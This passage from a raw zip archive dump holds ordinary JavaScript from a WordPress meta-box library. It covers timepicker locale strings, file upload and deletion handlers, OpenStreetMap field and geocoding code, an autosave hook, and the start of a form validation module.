пояс",currentText:"Сейчас",closeText:"Закрыть",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.sk={timeOnlyTitle:"Zvoľte čas",timeText:"Čas",hourText:"Hodiny",minuteText:"Minúty",secondText:"Sekundy",millisecText:"Milisekundy",microsecText:"Mikrosekundy",timezoneText:"Časové pásmo",currentText:"Teraz",closeText:"Zavrieť",timeFormat:"H:m",timeSuffix:"",amNames:["dop.","AM","A"],pmNames:["pop.","PM","P"],isRTL:!1},a.timepicker.regional.sl={timeOnlyTitle:"Izberite čas",timeText:"Čas",hourText:"Ura",minuteText:"Minute",secondText:"Sekunde",millisecText:"Milisekunde",microsecText:"Mikrosekunde",timezoneText:"Časovni pas",currentText:"Sedaj",closeText:"Zapri",timeFormat:"HH:mm",timeSuffix:"",amNames:["dop.","AM","A"],pmNames:["pop.","PM","P"],isRTL:!1},a.timepicker.regional.sq={timeOnlyTitle:"Zgjidh orarin",timeText:"Orari",hourText:"Ora",minuteText:"Minuta",secondText:"Sekonda",millisecText:"Minisekonda",microsecText:"Mikrosekonda",timezoneText:"Zona kohore",currentText:"Tani",closeText:"Mbyll",timeFormat:"HH:mm",timeSuffix:"",amNames:["m.","AM","A"],pmNames:["p.","PM","P"],isRTL:!1},a.timepicker.regional["sr-RS"]={timeOnlyTitle:"Одаберите време",timeText:"Време",hourText:"Сати",minuteText:"Минути",secondText:"Секунде",millisecText:"Милисекунде",microsecText:"Микросекунде",timezoneText:"Временска зона",currentText:"Сада",closeText:"Затвори",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional["sr-YU"]={timeOnlyTitle:"Odaberite vreme",timeText:"Vreme",hourText:"Sati",minuteText:"Minuti",secondText:"Sekunde",millisecText:"Milisekunde",microsecText:"Mikrosekunde",timezoneText:"Vremenska zona",currentText:"Sada",closeText:"Zatvori",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.sv={timeOnlyTitle:"Välj en tid",timeText:"Tid",hourText:"Timme",minuteText:"Minut",secondText:"Sekund",millisecText:"Millisekund",microsecText:"Mikrosekund",timezoneText:"Tidszon",currentText:"Nu",closeText:"Stäng",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.th={timeOnlyTitle:"เลือกเวลา",timeText:"เวลา ",hourText:"ชั่วโมง ",minuteText:"นาที",secondText:"วินาที",millisecText:"มิลลิวินาที",microsecText:"ไมโคริวินาที",timezoneText:"เขตเวลา",currentText:"เวลาปัจจุบัน",closeText:"ปิด",timeFormat:"hh:mm tt",timeSuffix:""},a.timepicker.regional.tr={timeOnlyTitle:"Zaman Seçiniz",timeText:"Zaman",hourText:"Saat",minuteText:"Dakika",secondText:"Saniye",millisecText:"Milisaniye",microsecText:"Mikrosaniye",timezoneText:"Zaman Dilimi",currentText:"Şu an",closeText:"Tamam",timeFormat:"HH:mm",timeSuffix:"",amNames:["ÖÖ","Ö"],pmNames:["ÖS","S"],isRTL:!1},a.timepicker.regional.uk={timeOnlyTitle:"Виберіть час",timeText:"Час",hourText:"Години",minuteText:"Хвилини",secondText:"Секунди",millisecText:"Мілісекунди",microsecText:"Мікросекунди",timezoneText:"Часовий пояс",currentText:"Зараз",closeText:"Закрити",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.vi={timeOnlyTitle:"Chọn giờ",timeText:"Thời gian",hourText:"Giờ",minuteText:"Phút",secondText:"Giây",millisecText:"Mili giây",microsecText:"Micrô giây",timezoneText:"Múi giờ",currentText:"Hiện thời",closeText:"Đóng",timeFormat:"HH:mm",timeSuffix:"",amNames:["SA","S"],pmNames:["CH","C"],isRTL:!1},a.timepicker.regional["zh-CN"]={timeOnlyTitle:"选择时间",timeText:"时间",hourText:"小时",minuteText:"分钟",secondText:"秒钟",millisecText:"毫秒",microsecText:"微秒",timezoneText:"时区",currentText:"现在时间",closeText:"关闭",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional["zh-TW"]={timeOnlyTitle:"選擇時分秒",timeText:"時間",hourText:"時",minuteText:"分",secondText:"秒",millisecText:"毫秒",microsecText:"微秒",timezoneText:"時區",currentText:"現在時間",closeText:"確定",timeFormat:"HH:mm",timeSuffix:"",amNames:["上午","AM","A"],pmNames:["下午","PM","P"],isRTL:!1}}(jQuery);PK     N\i    %  inc/dashboard/lib/meta-box/js/file.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var file = {};

	/**
	 * Handles a click on add new file.
	 * Expects `this` to equal the clicked element.
	 *
	 * @param event Click event.
	 */
	file.addHandler = function ( event ) {
		event.preventDefault();

		var $this = $( this ),
			$clone = $this.prev().clone();

		$clone.insertBefore( this ).val( '' );

		var $fieldInput = $this.closest( '.rwmb-input' );
		file.updateVisibility.call( $fieldInput.find( '.rwmb-files' ) );
		file.setRequired.call( $fieldInput );
	};

	/**
	 * Handles a click on delete new file.
	 * Expects `this` to equal the clicked element.
	 *
	 * @param event Click event.
	 */
	file.deleteHandler = function ( event ) {
		event.preventDefault();

		var $this = $( this ),
			$item = $this.closest( 'li' ),
			$uploaded = $this.closest( '.rwmb-files' ),
			$metaBox = $uploaded.closest( '.rwmb-meta-box' );

		$item.remove();
		file.updateVisibility.call( $uploaded );

		file.setRequired.call( $uploaded.parent() );

		if ( 1 > $uploaded.data( 'force_delete' ) ) {
			return;
		}

		$.post( ajaxurl, {
			action: 'rwmb_delete_file',
			_ajax_nonce: $uploaded.data( 'delete_nonce' ),
			field_id: $uploaded.data( 'field_id' ),
			field_name: $uploaded.data( 'field_name' ),
			object_type: $metaBox.data( 'object-type' ),
			object_id: $metaBox.data( 'object-id' ),
			attachment_id: $this.data( 'attachment_id' )
		}, function ( response ) {
			if ( !response.success ) {
				alert( response.data );
			}
		}, 'json' );
	};

	/**
	 * Sort uploaded files.
	 * Expects `this` to equal the uploaded file list.
	 */
	file.sort = function () {
		$( this ).sortable( {
			items: 'li',
			start: function ( event, ui ) {
				ui.placeholder.height( ui.helper.outerHeight() );
				ui.placeholder.width( ui.helper.outerWidth() );
			},
			update: function ( event, ui ) {
				ui.item.find( rwmb.inputSelectors ).first().trigger( 'mb_change' );
			}
		} );
	};

	/**
	 * Update visibility of upload inputs and Add new file link.
	 * Expect this equal to the uploaded file list.
	 */
	file.updateVisibility = function () {
		var $uploaded = $( this ),
			max = parseInt( $uploaded.data( 'max_file_uploads' ), 10 ),
			$new = $uploaded.siblings( '.rwmb-file-new' ),
			$add = $new.find( '.rwmb-file-add' ),
			numFiles = $uploaded.children().length,
			numInputs = $new.find( '.rwmb-file-input' ).length;

		$uploaded.toggle( 0 < numFiles );
		if ( 0 === max ) {
			return;
		}
		$new.toggle( numFiles < max );
		$add.toggle( numFiles + numInputs < max );
	};

	// Reset field when cloning.
	file.resetClone = function () {
		var $this = $( this ),
			$clone = $this.closest( '.rwmb-clone' ),
			$list = $clone.find( '.rwmb-files' );

		$list.empty();

		$clone.find( '.rwmb-file-new' ).each( function () {
			var inputName = '_file_' + rwmb.uniqid(),
				$key = $( this ).siblings( '.rwmb-file-index' );
			$( this ).find( '.rwmb-file-input' ).attr( 'name', inputName + '[]' ).not( ':first' ).remove();
			$key.val( inputName );
		} );

		file.updateVisibility.call( $list );
	};

	// Set 'required' attribute. 'this' is the wrapper field input.
	file.setRequired = function () {
		var $this = $( this ),
			$uploaded = $this.find( '.rwmb-files' ),
			$inputs = $this.find( '.rwmb-file-new input' );
		$inputs.prop( 'required', false );

		if ( $uploaded.children().length ) {
			return;
		}

		var $firstInput = $inputs.first();
		if ( 1 === $firstInput.data( 'required' ) ) {
			$firstInput.prop( 'required', true );
		}
	};

	function init( e ) {
		var $el = $( e.target ),
			$uploaded = $el.find( '.rwmb-files' );

		$uploaded.each( file.sort );
		$uploaded.each( file.updateVisibility );

		$el.find( '.rwmb-file-wrapper, .rwmb-image-wrapper' ).each( file.setRequired );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'click', '.rwmb-file-add', file.addHandler )
		.on( 'click', '.rwmb-file-delete', file.deleteHandler )
		.on( 'clone', '.rwmb-file-input', file.resetClone );
} )( jQuery, rwmb );
PK     N\X]x    -  inc/dashboard/lib/meta-box/js/osm-frontend.jsnu [        jQuery( function( $ ) {
	'use strict';

	/**
	 * Display Open Street Map
	 */
	function displayMap() {
		var osmTileLayer = L.tileLayer( 'https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
			attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'
		} );
		var options = $( this ).data( 'osm_options' ),
			mapOptions = options.js_options,
			center = L.latLng( options.latitude, options.longitude ),
			map;

			mapOptions.center = center;

			// Typcast zoom to a number
			mapOptions.zoom *= 1;

			map = L.map( this, mapOptions );
			map.addLayer( osmTileLayer );

		// Set marker
		if ( options.marker ) {
			var markerOptions = {};

			// Set marker title
			if ( options.marker_title ) {
				markerOptions.title = options.marker_title;
			}

			// Set marker icon
			if ( options.marker_icon ) {
				markerOptions.icon = L.icon( {
					iconUrl: options.marker_icon
				} );
			}

			var marker = L.marker( center, markerOptions ).addTo( map )
		}

		// Set info window
		if ( options.info_window ) {
			marker.bindPopup( options.info_window ).openPopup();
		}
	}

	// Loop through all map instances and display them
	$( '.rwmb-osm-canvas' ).each( displayMap );
} );
PK     N\go.S  S  )  inc/dashboard/lib/meta-box/js/autosave.jsnu [        ( function ( $, document ) {
	'use strict';

	$( document ).ajaxSend( function ( event, xhr, settings ) {
		if ( ! Array.isArray( settings.data ) || -1 === settings.data.indexOf( 'wp_autosave' ) ) {
			return;
		}
		var inputSelectors = 'input[class*="rwmb"], textarea[class*="rwmb"], select[class*="rwmb"], button[class*="rwmb"], input[name^="nonce_"]';
		$( '.rwmb-meta-box' ).each( function () {
			var $meta_box = $( this );
			if ( true === $meta_box.data( 'autosave' ) ) {
				settings.data += '&' + $meta_box.find( inputSelectors ).serialize();
			}
		} );
	} );
} )( jQuery, document );
PK     N\=љf  f  ,  inc/dashboard/lib/meta-box/js/file-upload.jsnu [        ( function ( $, wp, rwmb ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		MediaField = views.MediaField,
		FileUploadField, UploadButton;

	FileUploadField = views.FileUploadField = MediaField.extend( {
		createAddButton: function () {
			this.addButton = new UploadButton( { controller: this.controller } );
		}
	} );

	UploadButton = views.UploadButton = Backbone.View.extend( {
		className: 'rwmb-upload-area',
		tagName: 'div',
		template: wp.template( 'rwmb-upload-area' ),
		render: function () {
			this.$el.html( this.template( {} ) );
			return this;
		},

		initialize: function ( options ) {
			this.controller = options.controller;
			this.el.id = _.uniqueId( 'rwmb-upload-area-' );
			this.render();

			// Auto hide if you reach the max number of media
			this.listenTo( this.controller, 'change:full', function () {
				this.$el.toggle( !this.controller.get( 'full' ) );
			} );

			this.collection = this.controller.get( 'items' );
			this.listenTo( this.collection, 'remove', function ( item ) {
				if ( item.get( 'file' ) !== undefined ) {
					this.uploader.uploader.removeFile( item.get( 'file' ) );
				}
				const totalFiles = parseInt( this.uploader.uploader.getOption( 'totalFiles' ) );
				this.uploader.uploader.setOption( 'totalFiles', totalFiles - 1 );
			} );
		},

		// Initializes plupload using code from wp.Uploader (wp-includes/js/plupload/wp-plupload.js)
		initUploader: function ( $this ) {
			var self = this,
				$input = $this.closest( '.rwmb-input' ),
				$process = $input.find( '.rwmb-media-view .rwmb-media-progress' ),
				extensions = this.getExtensions().join( ',' ),
				maxFileSize = this.controller.get( 'maxFileSize' ),
				maxFiles = parseInt( this.controller.get( 'maxFiles' ) ),
				options = {
					container: this.el,
					dropzone: this.el,
					browser: this.$( '.rwmb-browse-button' ),
					params: {
						post_id: $( '#post_ID' ).val()
					},
					added: function ( attachment ) {
						self.controller.get( 'items' ).add( [ attachment ] );
					}
				};

			// Initialize the plupload instance.
			this.uploader = new wp.Uploader( options );

			var filters = this.uploader.uploader.getOption( 'filters' );
			if ( maxFileSize ) {
				filters.max_file_size = maxFileSize;
			}
			if ( extensions ) {
				filters.mime_types = [ { title: i18nRwmbMedia.select, extensions: extensions } ];
			}
			this.uploader.uploader.setOption( 'filters', filters );
			this.uploader.uploader.setOption( 'totalFiles', 0 );

			this.uploader.uploader.bind( 'FilesAdded', function ( up, files ) {
				const that = this,
					totalFiles = parseInt( that.getOption( 'totalFiles' ) );

				$.each( files, function ( i, file ) {
					if ( maxFiles !== 0 && i >= maxFiles - totalFiles ) {
						up.removeFile( files[ i ] );
						return;
					}

					$process.append( `<div id="${ file.id }" class="rwmb-progress" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">
						${ file.name } - ${ file.percent } %
					</div>` );
					that.setOption( 'totalFiles', parseInt( that.getOption( 'totalFiles' ) ) + 1 );
				} );
			} );

			const setWidth = ( file, value ) => $process.find( `#${ file.id }` ).attr( 'aria-valuenow', value ).css( '--value', value ).text( `${ file.name } - ${ value }%` );

			this.uploader.uploader.bind( 'UploadProgress', ( up, file ) => setWidth( file, file.percent ).addClass( file.percent === 100 ? 'rwmb-progress--completed' : '' ) );
			this.uploader.uploader.bind( 'FileUploaded', ( up, file ) => $process.find( `#${ file.id }` ).fadeOut( 'slow', function () {
				$( this ).remove();
			} ) );

			this.uploader.uploader.bind( 'Error', function ( up, err ) {

				if ( $input.find( '.rwmb-error' ).length === 0 ) {
					$input.append( '<p class="rwmb-error"></p>' );
				}

				const $error = $input.find( '.rwmb-error' ).empty().show();
				$error.text( err.message );
				setTimeout( function () {
					$error.fadeOut( "slow" );
				}, 5000 );
			} );

			$this.data( 'uploader', this.uploader );
		},

		getExtensions: function () {
			var mimeTypes = this.controller.get( 'mimeType' ).split( ',' ),
				exts = [];

			_.each( mimeTypes, function ( current, index ) {
				if ( i18nRwmbMedia.extensions[ current ] ) {
					exts = exts.concat( i18nRwmbMedia.extensions[ current ] );
				}
			} );
			return exts;
		}
	} );

	function initFileUpload() {
		var $this = $( this ),
			view = $this.data( 'view' );

		if ( view ) {
			return;
		}
		view = new FileUploadField( { input: this } );

		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );
		// Init progress
		view.$el.find( '.rwmb-media-list' ).after( '<div class="rwmb-media-progress"></div>' );
		// Init uploader after view is inserted to make wp.Uploader works.
		view.addButton.initUploader( $this );

		$this.data( 'view', view );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-file_upload' ).each( initFileUpload );
	}

	function removeFile( e ) {
		$( '.rwmb-media-progress #' + $( this ).data( 'file_id' ) ).remove();
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-file_upload', initFileUpload )
		.on( 'click', '.rwmb-file-actions .rwmb-remove-media', removeFile );
} )( jQuery, wp, rwmb );
PK     N\I{    $  inc/dashboard/lib/meta-box/js/osm.jsnu [        ( function ( $, L, rwmb, i18n ) {
	'use strict';

	// Use function construction to store map & DOM elements separately for each instance
	var OsmField = function ( $container ) {
		this.$container = $container;
	};

	// Use prototype for better performance
	OsmField.prototype = {
		// Initialize everything
		init: function () {
			this.initDomElements();
			this.initMapElements();

			this.initMarkerPosition();
			this.addListeners();
			this.autocomplete();

			// Make sure the map is displayed fully.
			var map = this.map;
			setTimeout( function () {
				map.invalidateSize();
			}, 200 );
		},

		// Initialize DOM elements
		initDomElements: function () {
			this.$canvas = this.$container.find( '.rwmb-osm-canvas' );
			this.canvas = this.$canvas[ 0 ];
			this.$coordinate = this.$container.find( '.rwmb-osm' );
			this.addressField = this.$container.data( 'address-field' );
		},

		setCenter: function ( location ) {
			this.map.panTo( location );
			if ( this.marker ) {
				this.marker.setLatLng( location );
				return;
			}

			this.marker = L.marker( location, {
				draggable: true
			} ).addTo( this.map );
		},

		initMapElements: function () {
			this.map = L.map( this.canvas, { zoom: 14 } );
			L.tileLayer( 'https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
				attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'
			} ).addTo( this.map );

			// If there is a saved location, don't set the default location.
			if ( this.$coordinate.val() ) {
				return;
			}

			// Load default location if it's set.
			const defaultLoc = this.$canvas.data( 'default-loc' );
			if ( defaultLoc ) {
				return this.setCenter( defaultLoc.split( ',' ) );
			}

			// Set default location to Dublin as a start.
			const dublin = [ 53.346881, -6.258860 ];
			this.setCenter( dublin );

			// Try to load current user location. Note that Geolocation API works only on HTTPS.
			if ( location.protocol.includes( 'https' ) && navigator.geolocation ) {
				this.map.locate( { setView: true } ).on( 'locationfound', e => this.setCenter( e.latlng ) );
			}
		},

		initMarkerPosition: function () {
			const coordinate = this.$coordinate.val();

			if ( coordinate ) {
				const location = coordinate.split( ',' );
				this.setCenter( location );

				const zoom = location.length > 2 ? parseInt( location[ 2 ], 10 ) : 14;
				this.map.setZoom( zoom );
			} else if ( this.addressField ) {
				this.geocodeAddress( false );
			}
		},

		// Add event listeners for 'click' & 'drag'
		addListeners: function () {
			var that = this;

			/*
			 * Auto change the map when there's change in address fields.
			 * Works only for multiple address fields as single address field has autocomplete functionality.
			 */
			if ( this.addressField.split( ',' ).length > 1 ) {
				var geocodeAddress = that.geocodeAddress.bind( that );
				var addressFields = this.addressField.split( ',' ).forEach( function ( part ) {
					var $field = that.findAddressField( part );
					if ( null !== $field ) {
						$field.on( 'change', geocodeAddress );
					}
				} );
			}

			this.map.on( 'click', function ( event ) {
				that.marker.setLatLng( event.latlng );
				that.updateCoordinate( event.latlng );
			} );

			this.map.on( 'zoom', function () {
				that.updateCoordinate( that.marker.getLatLng() );
			} );

			this.marker.on( 'drag', function () {
				that.updateCoordinate( that.marker.getLatLng() );
			} );

			// Custom event to refresh maps when in hidden divs.
			var refresh = that.refresh.bind( this );
			$( window ).on( 'rwmb_map_refresh', refresh );

			// Refresh on meta box hide and show
			rwmb.$document.on( 'postbox-toggled', refresh );
			// Refresh on sorting meta boxes
			$( '.meta-box-sortables' ).on( 'sortstop', refresh );
		},

		refresh: function () {
			if ( !this.map ) {
				return;
			}
			this.map.invalidateSize();
			this.map.panTo( this.map.getCenter() );
		},

		// Autocomplete address
		autocomplete: function () {
			var that = this,
				$address = this.getAddressField();

			if ( null === $address ) {
				return;
			}

			$address.autocomplete( {
				source: function ( request, response ) {
					$.get( 'https://nominatim.openstreetmap.org/search', {
						format: 'json',
						q: request.term,
						countrycodes: that.$canvas.data( 'region' ),
						"accept-language": that.$canvas.data( 'language' ),
						addressdetails: 1
					}, function ( results ) {
						if ( !results.length ) {
							response( [ {
								value: '',
								label: i18n.no_results_string
							} ] );
							return;
						}
						response( results.map( function ( item ) {
							return {
								address: item.address,
								label: item.display_name,
								value: item.display_name,
								latitude: item.lat,
								longitude: item.lon
							};
						} ) );
					}, 'json' );
				},
				select: function ( event, ui ) {
					const latLng = L.latLng( ui.item.latitude, ui.item.longitude );

					that.setCenter( latLng );
					that.updateCoordinate( latLng );

					$address.trigger( 'selected_address', [ ui.item ] );
				}
			} );
		},

		// Update coordinate to input field
		updateCoordinate: function ( latLng ) {
			var zoom = this.map.getZoom();
			this.$coordinate.val( latLng.lat + ',' + latLng.lng + ',' + zoom ).trigger( 'change' );
		},

		// Find coordinates by address
		geocodeAddress: function ( notify ) {
			var address = this.getAddress(),
				that = this;
			if ( !address ) {
				return;
			}

			if ( false !== notify ) {
				notify = true;
			}
			$.get( 'https://nominatim.openstreetmap.org/search', {
				format: 'json',
				q: address,
				limit: 1,
				countrycodes: that.$canvas.data( 'region' ),
				"accept-language": that.$canvas.data( 'language' )
			}, function ( result ) {
				if ( result.length !== 1 ) {
					if ( notify ) {
						alert( i18n.no_results_string );
					}
					return;
				}
				var latLng = L.latLng( result[ 0 ].lat, result[ 0 ].lon );
				that.setCenter( latLng );
				that.updateCoordinate( latLng );
			}, 'json' );
		},

		// Get the address field.
		getAddressField: function () {
			// No address field or more than 1 address fields, ignore
			if ( !this.addressField || this.addressField.split( ',' ).length > 1 ) {
				return null;
			}
			return this.findAddressField( this.addressField );
		},

		// Get the address value for geocoding.
		getAddress: function () {
			var that = this;

			return this.addressField.split( ',' )
				.map( function ( part ) {
					part = that.findAddressField( part );
					return null === part ? '' : part.val();
				} )
				.join( ',' ).replace( /\n/g, ',' ).replace( /,,/g, ',' );
		},

		// Find address field based on its name attribute. Auto search inside groups when needed.
		findAddressField: function ( fieldName ) {
			// Not in a group.
			var $address = $( 'input[name="' + fieldName + '"]' );
			if ( $address.length ) {
				return $address;
			}

			// If map and address is inside a cloneable group.
			$address = this.$container.closest( '.rwmb-group-clone' ).find( 'input[name*="[' + fieldName + ']"]' );
			if ( $address.length ) {
				return $address;
			}

			// If map and address is inside a non-cloneable group.
			$address = this.$container.closest( '.rwmb-group-wrapper' ).find( 'input[name*="[' + fieldName + ']"]' );
			if ( $address.length ) {
				return $address;
			}

			return null;
		}
	};

	function createController() {
		var $this = $( this ),
			controller = $this.data( 'osmController' );
		if ( controller ) {
			return;
		}

		controller = new OsmField( $this );
		controller.init();
		$this.data( 'osmController', controller );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-osm-field' ).each( createController );
	}

	function restart() {
		$( '.rwmb-osm-field' ).each( createController );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-input', restart );
} )( jQuery, L, rwmb, RWMB_Osm );PK     N\S:(  :(  6  inc/dashboard/lib/meta-box/js/validation/validation.jsnu [        ( function ( $, rwmb, i18n ) {
	'use strict';

	/**
	 * Extract the validation key from an input's name attribute. Usually it's the field ID, but sometimes (like for `file`), it's the field's input name.
	 *
	 * field[]    => field   // Fields with multiple values: file, checkbox list, etc.
	 * field[1]   => field   // Cloneable fields
	 * field[1][] => field   // Cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[field][]    => field  // Group with fields with multiple values: file, checkbox list, etc.
	 * group[field][1]   => field  // Group with cloneable fields
	 * group[field][1][] => field  // Group with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[1][field][]    => field  // Cloneable group with fields with multiple values: file, checkbox list, etc.
	 * group[1][field][1]   => field  // Cloneable group with cloneable fields
	 * group[1][field][1][] => field  // Cloneable group with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[subgroup][field][]    => field  // Subgroup with fields with multiple values: file, checkbox list, etc.
	 * group[subgroup][field][1]   => field  // Subgroup with cloneable fields
	 * group[subgroup][field][1][] => field  // Subgroup with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[subgroup][1][field][]    => field  // Cloneable subgroup with fields with multiple values: file, checkbox list, etc.
	 * group[subgroup][1][field][1]   => field  // Cloneable subgroup with cloneable fields
	 * group[subgroup][1][field][1][] => field  // Cloneable subgroup with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[1][subgroup][field][]    => field  // Cloneable group with subgroup with fields with multiple values: file, checkbox list, etc.
	 * group[1][subgroup][field][1]   => field  // Cloneable group with subgroup with cloneable fields
	 * group[1][subgroup][field][1][] => field  // Cloneable group with subgroup with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[1][subgroup][1][field][]    => field  // Cloneable group with cloneable subgroup with fields with multiple values: file, checkbox list, etc.
	 * group[1][subgroup][1][field][1]   => field  // Cloneable group with cloneable subgroup with cloneable fields
	 * group[1][subgroup][1][field][1][] => field  // Cloneable group with cloneable subgroup with cloneable fields with multiple values: file, checkbox list, etc.
	 */
	const getValidationKey = name => {
		// Detect name parts in format of anything[] or anything[1].
		let parts = name.match( /^(.+?)(?:\[\d+\]|(?:\[\]))?$/ );

		if ( parts[ 1 ] && isNaN( parts[ 1 ] ) ) {
			// Remove []
			let words = name.match( /(\w+)|(\[\w+\])/g );
			let resultArray = [ words.join( "" ) ];

			// Remove characters "[" and "]".
			words.forEach( matchedValue => {
				if ( matchedValue.startsWith( "[" ) ) {
					resultArray.push( matchedValue.substring( 1, matchedValue.length - 1 ) );
				} else {
					resultArray.push( matchedValue );
				}
			} );

			parts[ 0 ] = resultArray[ 0 ];
			parts[ 1 ] = isNaN( resultArray[ resultArray.length - 1 ] ) ? resultArray[ resultArray.length - 1 ] : resultArray[ resultArray.length - 2 ];
		}

		return parts.pop();
	};

	/**
	 * Fix validation not working for cloneable files or fields in groups.
	 */
	$.validator.staticRules = function ( element ) {
		let rules = {},
			validator = $.data( element.form, "validator" );

		// No rules.
		if ( validator.settings.rules === null || Object.keys( validator.settings.rules ).length === 0 ) {
			return rules;
		}

		// Do not validate hidden fields.
		if ( element.type === 'hidden' ) {
			return rules;
		}

		let key = getValidationKey( element.name );

		/**
		 * Cloneable files or files in groups.
		 * Input name is transformed into format `_file_{unique_id}`
		 * There is also a hidden input with name `_index_{field_id}` with value `_file_{unique_id}`
		 *
		 * In this case, `key` is always `_file_{unique_id}`
		 *
		 * Note that for cloneable files, validation rule is set for `_index_{field_id}`. For files in groups, validation rule is still `{field_id}`.
		 */
		if ( element.type === 'file' && ( $( element ).closest( '.rwmb-clone' ).length > 0 || $( element ).closest( '.rwmb-group-wrapper' ).length > 0 ) ) {
			const $input = $( element ).closest( '.rwmb-input' );
			const $indexInput = $input.find( '*[value="' + key + '"]' );

			key = getValidationKey( $indexInput.attr( 'name' ) );

			// Remove prefix `_index_` from input name when in groups.
			if ( !validator.settings.rules[ key ] && key.includes( '_index_' ) ) {
				key = key.slice( 7 );
			}

			if ( validator.settings.rules[ key ] ) {
				// Set message for element.
				validator.settings.messages[ element.name ] = validator.settings.messages[ key ];
				// Set rule for element.
				return $.validator.normalizeRule( validator.settings.rules[ key ] ) || {};
			}

			return rules;
		}

		// For normal fields and fields in groups: set rules by their field IDs (validation keys).

		// Set message for element.
		validator.settings.messages[ element.name ] = validator.settings.messages[ key ];
		// Set rule for element.
		return $.validator.normalizeRule( validator.settings.rules[ key ] ) || {};
	};

	/**
	 * Make jQuery Validation works with multiple inputs with same names.
	 * Need for file, image fields where users can upload multiple files with same input names.
	 *
	 * @link https://stackoverflow.com/q/931687/371240
	 */
	$.validator.prototype.checkForm = function () {
		this.prepareForm();
		for ( var i = 0, elements = ( this.currentElements = this.elements() ); elements[ i ]; i++ ) {
			if ( this.findByName( elements[ i ].name ).length !== undefined && this.findByName( elements[ i ].name ).length > 1 ) {
				for ( var cnt = 0; cnt < this.findByName( elements[ i ].name ).length; cnt++ ) {
					this.check( this.findByName( elements[ i ].name )[ cnt ] );
				}
			} else {
				this.check( elements[ i ] );
			}
		}
		return this.valid();
	};

	class Validation {
		constructor( formSelector ) {
			this.$form = $( formSelector );
			this.validationElements = this.$form.find( '.rwmb-validation' );
			this.showAsterisks();
			this.getSettings();
		}

		init() {
			this.$form
				// Update underlying textarea before submit.
				// Don't use submitHandler() because form can be submitted via Ajax on the front end.
				.on( 'submit', function () {
					if ( typeof tinyMCE !== 'undefined' ) {
						tinyMCE.triggerSave();
					}
				} )
				.validate( this.settings );
		}

		showAsterisks() {
			this.validationElements.each( function () {
				const data = $( this ).data( 'validation' );

				$.each( data.rules, function ( k, v ) {
					if ( !v[ 'required' ] ) {
						return;
					}
					let $el = $( '[name="' + k + '"]' );
					if ( !$el.length ) {
						$el = $( '[name*="[' + k + ']"]' ); // Subfields in groups.
					}
					if ( $el.length ) {
						$el.closest( '.rwmb-input' ).siblings( '.rwmb-label' ).find( 'label' ).append( '<span class="rwmb-required">*</span>' );
					}
				} );
			} );
		}

		getSettings() {
			this.settings = {
				ignore: ':not(.rwmb-media,.rwmb-image_select,.rwmb-wysiwyg,.rwmb-color,.rwmb-map,.rwmb-osm,.rwmb-switch,[class|="rwmb"])',
				errorPlacement: function ( error, element ) {
					error.appendTo( element.closest( '.rwmb-input' ) );
				},
				errorClass: 'rwmb-error',
				errorElement: 'p',
				invalidHandler: this.invalidHandler.bind( this )
			};

			// Gather all validation rules.
			var that = this;
			this.validationElements.each( function () {
				$.extend( true, that.settings, $( this ).data( 'validation' ) );
			} );
		}

		invalidHandler() {
			this.showMessage();
			// Group field will automatically expand and show an error warning when collapsing
			for ( var i = 0; i < this.$form.data( 'validator' ).errorList.length; i++ ) {
				$( '#' + this.$form.data( 'validator' ).errorList[ i ].element.id ).closest( '.rwmb-group-collapsed' ).removeClass( 'rwmb-group-collapsed' );
			}
			// Custom event for showing error fields inside tabs/hidden divs. Use setTimeout() to run after error class is added to inputs.
			var that = this;
			setTimeout( function () {
				that.$form.trigger( 'after_validate' );
			}, 200 );
		}

		showMessage() {
			// Re-enable the submit ( publish/update ) button and hide the ajax indicator
			$( '#publish' ).removeClass( 'button-primary-disabled' );
			$( '#ajax-loading' ).attr( 'style', '' );
			$( '#rwmb-validation-message' ).remove();
			this.$form.before( '<div id="rwmb-validation-message" class="notice notice-error is-dismissible"><p>' + i18n.message + '</p></div>' );
		}
	};

	class GutenbergValidation extends Validation {
		init() {
			var that = this,
				editor = wp.data.dispatch( 'core/editor' );
			
			if ( ! editor ) {
				return false;
			}

			const savePost = editor.savePost; // Reference original method.

			if ( that.settings ) {
				that.$form.validate( that.settings );
			}

			// Change the editor method.
			editor.savePost = function ( options = {} ) {
				// Bypass the validation when previewing in Gutenberg.
				if ( typeof options === 'object' && options.isPreview ) {
					return savePost( options );
				}

				// Must call savePost() here instead of in submitHandler() because the form has inline onsubmit callback.
				if ( that.$form.valid() ) {
					return savePost( options );
				}
			};
		}

		showMessage() {
			wp.data.dispatch( 'core/notices' ).createErrorNotice( i18n.message, {
				id: 'meta-box-validation',
				isDismissible: true
			} );
		}
	};

	// Run on document ready.
	function init() {
